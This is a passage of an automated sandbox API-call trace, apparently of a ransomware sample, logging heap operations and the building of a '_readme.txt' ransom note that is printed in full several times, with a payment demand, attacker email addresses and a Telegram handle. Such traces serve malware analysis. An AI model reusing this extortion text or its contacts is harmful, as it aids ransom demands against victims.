hHeap=0x5e0000) returned 1 [0119.492] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.492] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c68 | out: hHeap=0x5e0000) returned 1 [0119.493] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.493] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022e98 | out: hHeap=0x5e0000) returned 1 [0119.493] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022e98 [0119.493] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x81c) returned 0x307fdd8 [0119.493] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0119.493] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.493] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022e98 | out: hHeap=0x5e0000) returned 1 [0119.493] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0119.493] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x30942e0 [0119.493] lstrcpyW (in: lpString1=0x30942e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.493] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.493] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.493] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30942e0 | out: hHeap=0x5e0000) returned 1 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022e98 [0119.494] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022e98 | out: hHeap=0x5e0000) returned 1 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef8d8 [0119.494] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef848 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef848 | out: hHeap=0x5e0000) returned 1 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef848 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef848 | out: hHeap=0x5e0000) returned 1 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef848 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef848 | out: hHeap=0x5e0000) returned 1 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef848 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef848 | out: hHeap=0x5e0000) returned 1 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef848 [0119.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef848 | out: hHeap=0x5e0000) returned 1 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef848 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef848 | out: hHeap=0x5e0000) returned 1 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef8d8 | out: hHeap=0x5e0000) returned 1 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.495] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.497] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.499] 